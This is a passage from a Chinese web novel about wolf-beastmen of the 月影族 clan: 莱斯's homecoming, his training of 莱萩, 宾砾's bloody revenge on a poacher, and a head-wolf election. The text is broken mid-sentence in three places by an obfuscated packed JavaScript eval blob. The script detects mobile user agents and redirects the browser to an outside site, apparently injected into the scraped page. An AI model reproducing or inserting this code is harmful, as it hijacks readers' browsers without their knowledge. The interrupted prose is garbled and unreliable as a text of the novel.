凌冉心里涌起一股复杂的情绪。如果莱萩真的是洛娜的女儿,为什么洛娜一直都不回月影族?她到底遇到了什么事?莱萩又为什么会记不清父母的事情? 一时之间,屋里陷入沉默——打破沉默的,是几声不怎么响亮的敲门声。 莱斯最先反应过来。他道:“我去开门。” 紧接着,门发出吱呀一声叫,露出查克尴尬的脸,猝不及防和莱斯面面相觑。 查克看了一眼莱斯身后,挠头道:“你们都在啊。” “不然呢。” 莱斯话里没什么感情,没有拒绝也没有欢迎。他转身重新坐到凳子上。 凌冉:“既然来了就进来吧。” 她看了查克一眼,然后开始清理苏昙手心的灰尘,准备上药。 “谢谢你啊,不过剩下的我自己来就行。”苏昙接过凌冉拿起的湿布,一点一点擦去伤口周围黑乎乎的尘土。 查克坐也不是站也不是,他硬着头皮对苏昙道:“听说你受伤了,怎么样,严重吗?” 苏昙倒是真的认真思考一番,说道:“应该不算严重?至少还没把命丢掉。” 说完,她突然想起之前和查克约下的承诺,如果顺利救出兽人,就试着带他见莱斯一面。现在刚好,两人都在。 她又补充道:“当然了,如果你是来提醒我关于见莱斯的事,不如就在这,直接问问莱斯的意见。” 莱斯:“我们已经见过面了。” 苏昙:“?” “我托小鸦给你传的纸条,里面说宾砾在月影族做的事情,就是查克告诉我的。”莱斯淡淡地解释,“查克把你送到地牢离开的那天,我们碰巧遇到,他主动要求替我们监视宾砾在月影族的举动。我想他这么做对你的计划应该有益无害,便答应了。” 查克没有预料到莱斯会主动提起,惴惴不安地问他:“那时我说,我愿意做你在月影族的眼线,希望你能原谅我。你现在的想法……有没有一点点的改变?” “没有。”莱斯直勾勾地盯着查克,清透的蓝瞳泛着若隐若现的荧光,“是,你没像宾砾和其他兽人那样对我做那些恶毒的事,但你能帮却不帮,一直默默纵容,袖手旁观。你知道你为什么会这样吗?因为你害怕遇到和我一样的事情,害怕那个饱受伤害的狼是你。” “原谅?我永远都不会原谅你们。我们的基因从生下来的那一刻就不会再改变,怨天尤人、自暴自弃永远不会让你得到拯救。还有,我现在愿意和你,和你们说话,是因为我选择了放下。查克,别再做原地踏步的兽人了,真的窝囊又可笑。” “我……”查克听他说完,早已难堪地满红耳赤,只能苍白无力地道歉,“……对不起。” “我不需要。” 莱斯把目光从他身上挪走。 “咳、那个……”苏昙试探着打断,对查克说,“除了这件事,我还有另一件事想问你?” “你说吧,我肯定知无不言!” 查克正愁没有能表现自己的地方,立刻答应。 苏昙:“宾砾关押兽人的地牢到底从何而来?那里曾经有人类活动的痕迹吗?” “那怎么会有人呢?”查克百般不解,“当时宾砾告诉我,他发现了一个地下空间,里面有很多单个的小房间。加上他看那里已经很久都没有人类的气息和痕迹,正好用来关掳来的兽人。” “确定没记错?” “我确定……”查克又回忆片刻,语气更加肯定,“我确定,我当时看到的的确和宾砾说的一模一样,不会有错。” 苏昙神色凝重,不知道她匆匆在地下二层密室里瞥见一眼的[HOA计划]会不会和第三个里世界的任务有关,可她眼下却完全不知要从何查起。 查克:“你……还有什么问题吗?” “暂时没了。” “那我就不打扰你们了,如果有我能帮得上忙的,尽管叫我。”查克识趣离开。 凌冉看着他渐远的背影,不禁感叹:“还真没想到,他变化会这么大。” “可能是良心发现了吧。” 苏昙打了个哈欠,心觉她现在这副虚弱的身体还需要休息,准备躺回地上固定的席位,浅浅睡一觉。 “你身上还有伤口,睡床吧。”凌冉走到床边,贴心把被褥铺好。 “多谢。”苏昙正欲过去,感觉有谁在拉自己的袖子。 “维希姐姐,我想和你一起睡。” 莱萩突然面对这么多陌生的兽人,没有安全感,下意识想向最熟悉的兽人靠近。 苏昙倒是没什么问题,就是不知道房子的主人意下如何。 凌冉顺口道:“她要是想和你待着,你们就先一起吧。” …… 几分钟后,莱萩和苏昙相伴入眠,小鸦飞到了房子附近的高树上,找到一个舒服的树枝,也沐浴着阳光小憩。 不知不觉,屋里只剩下莱斯和凌冉相视无言。 “……我们出去?”凌冉轻声对莱斯说。 “好。” 莱斯和她一前一后走出房子。 凌冉双手交握在腹前,看着月影族来往的兽人,唏嘘道:“你离开这两年里,月影族的狼兽人不停地来了又去,一眨眼,竟然都看不到几个熟悉的的面孔了。” “可您却一直没有离开。”莱斯看着远方,直白道,“是不想离开,还是不能离开?” 凌冉颇为意外地看向莱斯,没发觉他这几年看人的眼光什么时候变得如此精准。果然,人会变,会不断成长,以至于老环境再也适应不了他,就如同所有的孩子都会长大。 她苦笑着说:“说实话,你走的那年,我是不能离开。月影族已经没了头狼,如果再没有老族员的管理,很快就会彻底溃散,更不会有你今天看到的一切。但现在,我想我应该是不想离开了。” “为什么?” “因为维希,因为你……还有莱萩。”凌冉顺着月影族的小路慢慢地走,“我虽然不知道维希到底是什么来历,但她终究没有做对月影族有害的事情。相反,她还救了宾砾掳走的兽人,里面就有我们的同类。我之前问她为什么要留在月影族,她的回答很令我意外。” “她说了什么?” “维希说,她把你当成她的朋友,帮你就是在帮月影族。”凌冉停下几秒,又接着道,“当时我瞧着她的眼睛,心里竟破天荒地开始隐隐期盼,也许,月影族还能回到你母亲带领时的那般鲜活生动。” “……她真的把我当朋友?” 莱斯喃喃地问。 凌冉脸上的苦笑被一抹触动的神情覆盖:“你问我可没用,这种事情需要你用心去看,才能看的明白。朋友的存在并没有你想得那么廉价,你得学会相信,真心是可以换真心的。” 真心么。莱斯想到,乔泽也对他说过这个词。那这么说来,乔泽也算是他的朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617157|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友吗? 他相信乔泽,乔泽也相信他。 应该是算的。 莱斯在心里默道。 他继续问道:“您说还因为莱萩,又是为什么?” “因为她和洛娜有关。”尽管凌冉心中诧异,也不得不承认,莱萩的确知道她的名字。“就算莱萩不是洛娜的女儿,那也一定和洛娜有关。而且,我和你一样……一直都很想她。” 莱斯脸上浮现悲伤,但很快又消失不见。他闭了闭眼:“那您接下来准备怎么办?把她送走,还是留下来养着?” “如果我想把她交给你来管教,你会拒绝吗?” “为什么是我?”莱斯没有正面回答凌冉,“必须是我吗?” 凌冉语气十分严肃:“据我观察,莱萩的年纪应该刚满一岁。你想想,你一岁的时候,就已经可以脱离父母,自食其力。再看她,身体消瘦,一看就是长期吃不饱的表现;还有她遇到生人的状态,畏畏缩缩,像是从没见过飞禽走兽似的;可她又对发出善意的兽人不由自主地亲近,比如她被宾砾骗走,又紧紧粘着维希。这些毛病都要改,不然以后她在森林里很难存活。” “你和莱萩年纪挨得近些,身上恰恰有洛娜那股严厉的狠劲,心思又像你父亲细腻,管教她再合适不过。况且,若她真是洛娜的女儿,也得叫你一声哥哥。既然是哥哥,总不能名不副实吧?” 最后的一句话,凌冉含了几分调侃的意思。莱斯听她把理由一条条罗列,最后还上了感情高度。 “你都把话说得这么决绝,我还有其他选择吗。”他露出一丝无可奈何的浅笑。 凌冉瞧出他的笑算是接受的回答,也忍不住笑了:“抱歉,没有。” 莱斯摇头轻叹,认真地握住凌冉的手,声音微哑:“干妈,辛苦了。” 凌冉呆立在原地。 她发现,想要揉一把莱斯的头,拍拍他的肩膀,都需要踮着脚才能够到了。 “再辛苦也都已经是过去式。现在和你们一起努力,我轻松得不算晚。”凌冉偏过头,拭去眼底的清泪。 莱斯注视着凌冉,当着她的面作出承诺:“您放心,头狼选举,我会参加的。” 曾经的他,瞧不起自己杂种狼的身份,自卑敏感又好强,遇到困难总是想逃避隐忍,以至于不负责任地在外面一躲就是两年,对家族的事情一概不问,竟还自认为是个清醒兽人。现在,他终于明白过来,有些东西,既然想要就要去尽全力争取;有些事情,想做就要不留余地地完成。 两年过去,他所再次看到的月影族,都是因为还有那么一群兽人,依旧愿意继续坚守住带给过他们温情的家。母亲和父亲已经失踪多年,重振月影族的重任是时候从族里长辈的肩上接过来了。 头狼的位置,只能是他的,也一定会是他的。 “……我以为,你早就对这件事失去热情了。”凌冉从没想过他会主动提起。 “是我以前太懦弱,不敢面对。如今我已经回来,就不会再逃避了。” “你能这样想,我真的太高兴了。” “不过……我还有一件事想拜托您。”莱斯真诚道,“头狼选举一共三轮,进入第二轮的杂种狼,还需要至少五位与选举无关的纯种狼的支持,希望您能帮我找到这些狼。” 凌冉毫不犹豫答应:“没问题。” 她反而有些高兴,莱斯慢慢开始学会找他人寻求帮助了。 月影族头狼选举自始以来,整个过程一共分为三轮: 第一轮,“杂种狼”需要先进行首次选拔,且参与选拔的杂种狼的年纪必须要在三岁以上。纯正血统的狼兽人享有直接进行最后一轮比赛的优先权,年龄限制在一岁以上。 第二轮,在第一轮选拔中胜出的杂种狼,还需要至少五位与选举无关的纯种狼的支持。 第三轮,抽签选择,两两对战,强者胜,弱者败。 因为族内血统歧视,大多数参加选举的杂种狼都会止步第二轮。可莱斯心里清楚,和其他兽人相比,他是有优势的,至少身边还有族里的长辈凌冉能够成为人脉。 莱斯眼神坚定,再也看不到曾经的颓废消沉:“相信我,我不会让您失望的。” “拭目以待。” 不知不觉,他们一路走到洛娜一家曾经居住的房子。 凌冉睹物思人地感概:“你们先后离开后,这房子里的所有物件,还好好地保留到今天,你既然回来,就重新住进去吧。” 莱斯环顾家里熟悉的布局,一时恍惚,仿佛回到了两年前,洛娜正高声严厉纠正他今天猎食时犯下的错误。如今回想,一字一句依旧清晰绕耳,亲切如昨。 他打开洛娜的房门,看了片刻,决定道:“维希和莱萩一直住在您那也不方便,今天就让她们搬到这来吧,我也好照看莱萩。” 毕竟多些人,多些朋友,就多些温暖。 61. 世界三(21) 地牢坍塌,不过短短一刻,便化作废墟。 宾砾在身边那堆破砖烂瓦旁躺了整整一夜,身体里所有的力气,仿佛都随时间一分一秒流失殆尽。 刺眼的日光无情地提醒他,今天就是交货的最后期限。 宾砾不知道自己是如何一步一步挪到约定的地点,然后不得不面对老荣那张令人作呕的脸,和他背后那把令人恐惧的枪。 “我要的货呢?” “没了……”宾砾怔怔地一遍遍重复,“没了,全都没了……” 老荣凝视着他,只是慢条斯理地抽着嘴里的烟。 两分钟后,他指尖掐灭燃到底的烟头,指缝一松,便随风飘落到地上。 “要我说你什么好呢。”老荣重重叹气,罕见地没有朝宾砾发脾气。他走到车前,拍拍车头,说道,“上车吧,我带你去见你家人。” 宾砾好似没有听懂他的话,依旧呆立在原地没动。 老荣高声喊道:“高兴傻了?我说你能见到你家人了!” “哦,好。”宾砾反应过来,捡起地上的烟头,快步坐进车里。他刚刚并非呆傻,而是在猜测老荣此举的真正意图。 某种意义上说,他们是一类人——唯利是图、心狠手辣、阴险强势。但老荣又比他更没底线。 宾砾看了一眼手心的垃圾烟头。 老荣和他约定,半年后期限一到,就把他的家人还回来。而现在,老荣却主动带他去见家人。真的会有这么好的事吗? 一路上,宾砾安静地坐在后座,看着群山渐渐被抛到后面,汽车飞速驶进人类的地盘。盗猎者粗砾的嗓音哼着跑调的曲子,给车里的氛围平添一层诡异的宁静。 两小时后,老荣踩紧刹车,在一座房子前停下。紧挨着房子的,是一个大型的仓房。 宾砾从车里出来,敏锐地嗅到周围有几股熟悉的气息交织在一起。 没错,他的家人就在房子里面! 老荣把车停好,过来时看见宾砾的兴奋模样,竟和他一样激动,脸上露出复杂的笑容:“别急,等会就能见面了。” 他把宾砾领到仓房门前,蹲下拧开卷闸的锁。 仓房里的景象暴露在宾砾面前。 “……这是什么?” 宾砾脸上的笑容瞬间凝固。 “你的家人啊。”老荣走进去,踢了踢脚下的一张狼皮,说道,“这个,是你母亲的,你应该能闻出来吧?” 接着,他又取下墙上挂着的两颗狼牙,在宾砾面前晃晃:“如果我没记错的话,这几颗上好的牙,是你父亲的。” “哦,还有这一堆狼肉和狼骨,是你儿子和女儿的。这个肯定不会错,我记得当时把他们开膛破肚的时候,那只小雌狼叫得可大声了。” “还有这边的……” “——够了!” 宾砾双目通红,浑身颤抖地吼道。 老荣意犹未尽地耸耸肩,精锐的两只眼睛黏糊地附在宾砾身上:“我还没介绍完呢。” “我说、够了。” “行,行,我这就走。你和他们好好说会话吧。” 老荣嘴角抑制不住地上扬,转身离开。 一个可怕的想法在宾砾脑海里不断发酵膨胀,一直向下蔓延,占满他的胸腔、肺部,几乎窒息。也许,在老荣看来,死似乎是一件比生更自然的事。 宾砾屈膝跪地,缓缓抚摸摊平在地上的皮毛。好啊,那就让他得偿所愿好了。 …… 十分钟后,宾砾化成狼的形态,走出仓房,走向在外面等待的老荣。他的视线擦过老荣的脸,落到老荣手里提着的枪上。 他一步一步走上前,进了……更近了。 毫无征兆地,宾砾暴跳而起,张开狼口,狠戾地咬在老荣脖子。同时响起的,还有一道决绝的枪声。 老荣持枪的手瞬间失力,双眼惊恐地睁大,因为疼痛哆嗦着捂住被生生撕咬掉一块肉的血流不止的脖子,想说话却只能发出漏气般的嘶嘶。 宾砾借着惯性把他扑到后,再也忍受不住肚子的撕裂痛感,抽搐着翻滚到一旁。他决定扑向老荣,也意味着选择把自己最柔嫩的腹部暴漏给他。那把枪毫不犹豫地抵在那里,仿佛早就做好了准备。 恶人自有恶人磨。人类的这句话倒也不假。 宾砾拖着腹部的血洞爬向老荣,生生把他的脖子彻底咬断。老荣身下被血泊染得鲜红,活像一副惊悚的艺术作品。 真的,好疼……宾砾强撑身体,化成人形,把仓房里家人的“东西”尽数带走,头也不回地离开。他知道自己所剩时间不多,在肚子里的肠子掉完之前,必须要找一个安身的地方,一个能一个家人永远待在一起的地方。 不知走了多远,远到再也看不见远山和房屋,听不清风吟鸟鸣,宾砾终于脱力地倒在身边的浅坑,依偎着家人,虚弱地阖上眼皮。 闭眼前一刻,他瞥到手指上的一模银光。似是又想到什么,无声地发出嗤笑,一把捋掉戒指,狠狠抛到远处,手臂永远地垂了下来。 * 莱斯回来的消息很快传遍月影族。与此同时,族内大小成员还得知,他身后竟跟着一只模样相仿的小雌狼,整天形影不离。 每天他们走过的地方,都会响起一片低声议论。 “有什么好听的。” 莱斯面无表情地拉住莱萩的衣领,把她拎回身边。 莱萩不满地撅嘴:“可他们在说我们。” 莱斯没有理会她的反驳,兀自说道:“前两天教你的捕猎动作还记得吗?” “当然没忘。” “没忘就行。” 莱斯没有再说什么。 半小时后,他领着莱萩进入一条林荫小道。 莱萩:“来这干什么?今天要在这里练吗?” “嗯。这里雪兔出没最频繁,你今天的目标就是抓回来一只。” “没问题!” 莱萩颇为自信。话音刚落,便看到一个雪白的身影在草丛间一闪而过。她化成狼形兴奋地追上去,结果连着跑了二里地也没再瞧见那个影子,最后无功而返。 莱斯就在原地没有动,看到她两手空空回来,意料之中地开口:“看到猎物不加观察就猛冲上去,结果就是猎物比你更机警。像你这么心急的兽人,若学不会伺机而动,要猎到食物不知得到猴年马月,更别提和族员一起围猎驯鹿,简直做梦。” “训人就训人,非要贬低我干什么,怪不得维希姐姐老说你!” 莱萩和莱斯待得时间长了,发现他就是面上看着冷冰冰的,明明心里是为你好,说出来的话却总是伤人。不过她也不会往心里去,毕竟能有人愿意教自己就很好了。 她十分想向莱斯证明自己,绞尽脑汁在脑海里捕捉到一句熟悉的话,有些自得地说:“我知道,捕猎的诀窍就是一静制百动嘛。” “?!”莱斯心里猛地颤动,“这句话又是谁告诉你的?!” “妈妈啊。” “你妈妈叫什么?是不是叫洛娜?” 莱斯发现自己根本没法在洛娜的事情上冷静下来。他太想找到她了。 “你为什么对我妈妈这么好奇?我都说过了,我不知道。” “你再好好想想!” “我真的想过了,就是记不起来!” 莱萩被他步步紧逼的追问压得快要喘不过来气,忍不住提高音量。 莱斯如梦初醒,浑身尖锐的隐刺瞬间散去。 他无力地捏捏眉心:“……没什么。你继续吧。” 莱萩不想再和莱斯做无用的争论,转身一变成狼,接着去找雪兔。 今天她的运气似乎格外好,还没多久,又有一只兔子钻进不远处的灌木丛,扭着屁股朝前面熙熙祟祟地跑去。 莱萩静静地俯低身躯,放低了声音,和兔子保持着不远不近的距离。 就在这时,兔子好像嗅到了危险的气息,突然加快了速度,一蹦一蹦地向前奔跑。莱萩不再隐藏,跟在它后面追逐。不曾想那兔子跑的方向竟是一个崖坡,只是被层层灌木遮挡,看不到后面的地势。 莱萩冲得太快,来不及减低速度刹住,连狼带兔一齐从崖上滚落。 她极力保持身体的平衡,可崖坡的石块凹凸不平,根本没有能抓握的地方,反而身上到处都是大大小小的擦伤。 莱斯再次看到莱萩满身插着枯枝烂叶,还脏兮兮的模样,心觉吃惊的同时又微微无语:“……你掉坑里了?” 莱萩吐出嘴里叼着的已经咽气的雪兔,化成兽人的模样,神情慢慢委屈起来:“前面那是个崖坡,被草丛挡住了,我没看到,来不及停住就滚下去了……身上好疼。” 莱斯这才注意到那些被枯枝烂叶遮住的地方,都是或大或小的伤痕。他神情微动,严格道:“这点小伤就觉得委屈受不了了,怎么可能会进步。” 莱萩没好气地看了他一眼,气愤反驳:“我会成为和你一样厉害的狼的,等着看吧!” 她刚走两步,又折返回来,拿起地上的兔子,撇下莱斯回家。只是想让他安慰自己一句,夸自己一句,怎么就这么难?! “你……” 莱斯注视莱萩气鼓鼓的背影,跟了上去。 快要到月影族的时候,莱斯还是拉住莱萩,吞吐道:“你都滚落山崖,还不忘紧紧咬着猎物,表现得……不错。” 莱萩立刻回头,眼睛闪闪发亮:“真的?!” “……嗯。” 眼看她要喜形于色,莱斯紧接着说:“先别急着高兴,现在去找凌冉把伤口处理一下。” 莱萩:“好!” 目送莱萩离开后,莱斯径直回家找到仍在养伤的苏昙,把她从睡梦中叫醒。 “我有事找你,先别睡了。” 苏昙这几天本就休息得不怎么好,这次好不容易没做什么光怪陆离的梦,硬生生被莱斯无情叫醒。果然,动物和人类的情商本质有壁。 她压住心中怒火,耐心道:“请问您有何贵干?” “莱萩的记忆到底怎么回事?” 莱斯:“她的记忆你自己去问她啊,我又不知道。” “我问了,她似乎察觉不到她记忆出了问题。” 苏昙打了个哈欠:“也许是因为莱萩的头部受过什么伤,之后就失忆了?也许她经历过什么重大创伤,大脑自动开启防御机制,导致一部分记忆被封存起来?这些又不是没有可能。” 莱斯不可置信地摇头:“怎么会?她看着一副没心眼的样子,不可能会有创伤。” “先入为主是会影响判断的。”苏昙提醒莱斯。 她睡意已无,干脆从床上坐起来,揉了一把脸,认真想思考片刻,说道,“你还能找到我们最开始相遇时,追杀我的那几只狼吗?” “他们吗?”莱斯的回忆浮出脑海,“有一只已经被我杀了,还剩下两只跑了。森林里中大型动物的流动性比较强,这一个多月的时间,他们已经离开这里也说不准。” “那还有什么办法能找到他们吗?” “你坚持找他们干什么?被杀成瘾吗?” 苏昙无语扶额:“我有一些问题想问,只有他们能告诉我答案。而且这个答案,也许关系到莱萩记忆出现问题的真相。” 莱斯瞧她的模样不像开玩笑,想了想说:“其实还有一个办法。月影族头狼选举之后的两个星期,森林中心会有一场交际舞会,届 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唉,真是可怜,也不知道怎么死的。” “是啊,我还以为宾利能当上月影族下一任头狼呢。” “没希望喽,等回去族里,宾利已死消息传开,咱们就又有热闹看啦。” “就是不知道会是谁啊……” “……” 几只狼兽人低声谈论着走远了。 * 离开宾砾之后,查克才意识到原来一个人的生活有多爽——想干什么就看什么;吃不到大餐,也能自己猎食河狸野兔充饥;更重要的是,他发现,即使大大方方化成狼形,也没有想象中那样,收到数不尽的恶意的目光。 这不,得了个晴朗的午后,他跑到月影族北边山坡后面的小溪里,痛痛快快地洗了个凉水澡,浑身惬意地抖落身上水珠,舒服地躺到溪边的树荫下,享受宁静的悠闲时光。 然而,还没等他阖上眼睛,便听到一阵不怎么令人愉快的声音在不远处响起。 “再有一个月就是头狼选举了,听说莱斯也会参加。” 查克听到熟悉的名字,小心地躲到树后,偷偷听来到此处的两只兽人的谈话。他认出,其中一个年纪大些的,是去年带着一家四口来到月影族生活的狼兽人杰万,他对面站的是他血统纯正的儿子,杰格。 查克之所以对他们有印象,是因为杰万一家人在族里的嚣张程度,丝毫不亚于宾砾。 杰格对他父亲的话嗤之以鼻:“切,莱斯一个杂种狼,怎么可能会赢过我?光凭他的血统,第二轮就会被刷下去。” 杰万恨铁不成钢地给了自己儿子一个头椎:“你的脑子被兔子吃了?!别忘了,他身边还有个凌冉。凌冉那个老女人,仗着自己在月影族呆的时间长,有些人脉,肯定会帮她的好干儿子通过第二轮选拔。” 杰格捂住脑袋,愤愤地问:“那怎么办,总不能任由一个杂种狼当月影族的头狼吧?这也太扯淡了,传出去要让别族的兽人笑掉大牙!” “所以,我的好儿子,头狼的位置非你莫属。”杰万神秘地笑笑,把一把一寸长的东西交给杰格,“拿好了,就算莱斯进到第三轮,你也能用它取得最后的胜利。” “这不行吧?!”杰格看清那东西的模样,大惊失色,想要拒绝收下,却被父亲死死按住,强硬地塞进手里。 “我知道,头狼选举的比试不能携带其他物品,但想要对付莱斯这种疯起来不要命的杂种狼,只能来阴的。”杰万脸上露出癫狂的笑容,“相信我,把这东西藏到爪子里面,不会有我们之外的兽人发现的。” 树后偷听的查克:…… “可是……”杰格犹豫不决,手心的温度渐渐被那东西传来的丝丝凉意降低。 杰万不耐烦地骂道:“优柔寡断的狼崽子!想想你那不成器的杂种妹妹,难不成咱们家族的振兴要全靠她吗?!” 当然不可能。杰格脑海里浮现一个瘦弱的模样,哪怕被他欺负推倒在地上,也要挣扎着拍手跺脚爬起来,以为自己真的可以争得过他。真是蠢得可笑! “好,我听你的。”杰格垂下眼,默默握紧手中的东西。 “乖儿子,走吧。” 杰万满意地笑了,脸上的皱子堆挤成一坨,像是在脑门两边各长了盘弯弯曲曲的蚊香。 查克听到脚步声渐渐消失,彻底没了睡觉的心情。 等了一会,他转身朝凌冉房子的方向走去。 查克边走边在心里默默向杰万父子道歉,谁让他们先扰了他的美梦呢,千万不要怪他告密啊。 62. 世界三(22) 一月时间说快不快,说慢不慢,头狼选举在月影族一天比一天躁动的气氛中到来。 选举当日,凌晨四点半。 外面的天还是黑黢黢的,莱萩特意起了个大早,打算去附近捕猎几只最新鲜的河狸和野兔,给莱斯带回来当早餐。 她原本想喊上隔壁的维希姐姐一起,可姐姐比她起得还早,不知道什么时候出去了,现在也不在房间里。 莱萩悄摸摸往莱斯房间看了一眼,发现真正要参加选举的兽人竟然还在睡觉。 “他一点不紧张吗?我都快焦虑死了,一晚上都没睡好。” 莱萩心里暗自发牢骚。 她摇了摇头,独自出门开始自己的捕猎计划。 …… 上午八点,月影族中央空地。 此次选举,凌冉和族里另外三位长辈被推选为此次选举的评审。四位评审各持一票,参与选举的狼兽人票数超过一半才算胜出,如果平票,则要继续对决,直到分出胜负。 围在空地一圈的观赛众兽人早就激动不已,纷纷低声议论: “好戏要开始了!” “我朋友也参加了呢,希望他能进到最后一轮比试。” “也不知道最后谁会当上头狼……” “我押杰格赢!他血统纯正又英俊威武,我愿意跟着他!” “不不不,不要忘了这次选举莱斯也会参加!你们说,他俩会不会最后对上?” “哈哈哈真的对上就精彩了!” “希望这次的评审别出什么幺蛾子啊。” “……” 凌冉坐在评审席的位置上,缓缓环顾四周,在离开选举开始前二十分钟,终于看到莱斯的身影在参与者等候区出现。他身后还跟着矮了两个头的莱萩,一脸紧张凝重的模样,嘴里念念有词的,好像来参加选举的不是莱斯,而是她。 莱斯额头还在不断往外冒出细密薄薄的汗珠,他刚刚活动完身体,现在正是兴奋的状态。奇怪的是,第一次参加这么隆重的比试,他竟一点也不紧张,反而有些久违的雀跃,浑身细胞都在叫嚣着跃跃欲试。 一旁的莱萩还在用稚嫩的声音不停念叨:“你可一定要注意,别让小人偷袭了,也别太自信导致忽略小细节,当然了,自信些总比胆小怯懦好得多,不过你还是一定要学会藏拙,就像凌冉阿姨说的那样,毕竟你可是要赢到最后的狼——” “你是不是在担心我?” 莱斯出声打断莱萩的神神叨叨,神情复杂地看着她。 莱萩眼神闪躲,嘴硬道:“好、好歹你也对我有过一个多月的教导之情,学生关心下老师又没什么错。” “放心,我没那么容易死。”莱斯活动身体,专门提起道,“谢谢你的早餐,我全都吃了。” 他早晨醒来,看到门口放了一堆带着新鲜血液味道的河狸野兔,上面还有熟悉的兽人味道,不用想就知道是出自谁的手笔。 “这还差不多。”莱萩开始被清场的兽人驱赶到观众席,最后叮嘱道,“记住了!不要硬撑,小命最重要!” 莱斯看了莱萩一眼,破天荒地对她露出浅笑:“好。” “所有的参与者已经集合完毕,现在开始重申比试规则,两方狼比试,只要其中一方倒地十秒不起,即算失败,另一方狼获胜……” 凌冉的声音在诺大的比试场地响起,嘈杂的议论声渐渐安静下来。 凌冉继续道:“参与者和在座评审在进场前均已检查过身体,并未发现携带违禁物品,且均符合参与条件。刚才的抽签的结果已经出来,现在宣布第一轮比试分组……” 她边念边注视每组的选手两两登场等待,扭头的时候对上一个兽人的视线,也未作停留,自然地扫过。 杰万的目光从凌冉脸上挪开,不屑地啐了一口唾沫。 原本杂种狼在比试中就不占优势,再加上就算成功通过第一轮,第二轮也会是个不小的阻碍。所以参与第一轮的兽人少之又少,最后一共只分了八组,采取八进四的比赛规则。 莱斯抽到了第三组。 也许是老天都在眷顾他,他的对手是个营养不良的身体瘦弱的杂种狼,比赛刚开始没一分钟,那位瘦弱的老哥便自己噗通倒在地上,对莱斯眨眨眼。 小兄弟啊,我押的是你,就只能帮你到这了。哥相信你,赢了之后肯定能为我们杂种狼争取地位和利益的,加油! 心里默默说完,他便佯装晕倒,看着和真死了别无两样。 莱斯小小的蓝色眼睛里满是大大的迷惑,他才刚刚燃起斗志啊。 不止莱斯,周围的观众也被场上老哥的这波操作惊呆,一时笑也不是,骂也不是。 不过这样也好,留些力气给接下来的比试也好。莱斯姿势恢复放松,恢复人形。下场时,他对那位“昏迷”的老哥低声道了句谢。 半小时过去,八组选手里已经决出八位胜者,再次抽签分组,进行第一轮第二次比试。 这次,莱斯被分到了第一组,对手是只身形大他整整一圈的雄狼。 比试进行到后半程,莱斯和对手都受了大大小小的伤,场地上的血腥味也越来越浓。那只身体雄壮的狼弓起背,毛发根根紧绷竖立,一跃而起,张大嘴巴,朝莱斯身上扑过去。 莱斯压低身子,瞄准对面的狼身下的某个位置,用比他更快的速度向他冲去。 “——呃啊!” 雄壮的狼惨叫痛呼,蜷缩着身体滚到一旁,满脸痛苦地紧闭双眼。 裁判立刻上前计数:“1、2、3……6……8、9、10!莱斯胜!” 旁观的观众仍处在迷惑中:“谁能给我解释一下发生什么了?莱斯不就是从他身子下面冲过去了,怎么就赢了?” 有兽人发出爆笑,说道:“就算莱斯是个杂种狼,他也是个男的,男人最知道怎么让男人痛苦了!哈哈哈哈!” “……”发出疑问的观众倒吸一口凉气,默默捂紧了自己的□□。 第一轮比试结束,莱斯毫无悬念地胜出,和另外获胜的三只狼进入第二轮。 第一轮和第二轮中间有一小时的休息时间,莱斯回到参与者等待区,卧在地上,一点一点把身上还在渗血的伤口舔舐干净。 莱萩坐在观众席,看到他有惊无险地下来,大大松了一口气。 “你和莱斯长得好像。你们也是兄妹吗?”一个同为蓝瞳的女孩不知什么时候坐到了莱萩身边,好奇地问道。 莱萩闻声转头看向她:“你是谁啊?” “如你所见,我也是只血统不纯的母狼,和你一样。你还没回答我,他是你的哥哥吗?” “……我不知道。”莱萩托腮思考,“不过他对我很好,就算不是哥哥,我也愿意认他做哥哥。” “你们的感情真好啊。”小女孩有些羡慕地叹了口气,“其实我也有个哥哥。但是他和爸爸妈妈都嫌弃我是个杂种狼,对我从来都是冷冰冰的。哦对了,他也参加这次选举了,叫杰格,会在第三轮出来。” 莱萩刚来月影族一个多月,对族里的人员了解不多,没怎么听过杰格的名字,于是安静下来听小女孩继续讲。 “但是我不觉得杂种狼有什么丢人的,就像莱斯,他和纯种狼一样强大,一样勇敢,比那些虚伪善变的纯种狼不知道要好到哪去!” 小女孩不满地抱住胳膊。 “我不认同你的话。”莱萩严肃地摇摇头,“不是所有的纯种狼都是这样的。凌冉阿姨对我也很好,还有维希姐姐,就是她把我从宾砾手里救出来,把我带回家的。” “我也遇到过一个善良的姐姐!之前我被哥哥欺负,他抢走了我的食物,就是这个姐姐主动关心我,还给我吃的。最后我们还约定,如果我变得强大,以后一定会再来找她!只是我中间没忍住,去找了她,可她已经搬走了。” 莱萩听了进去,轻轻拍拍她的肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630409|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀安慰道:“别灰心,你们肯定会再见的。” …… 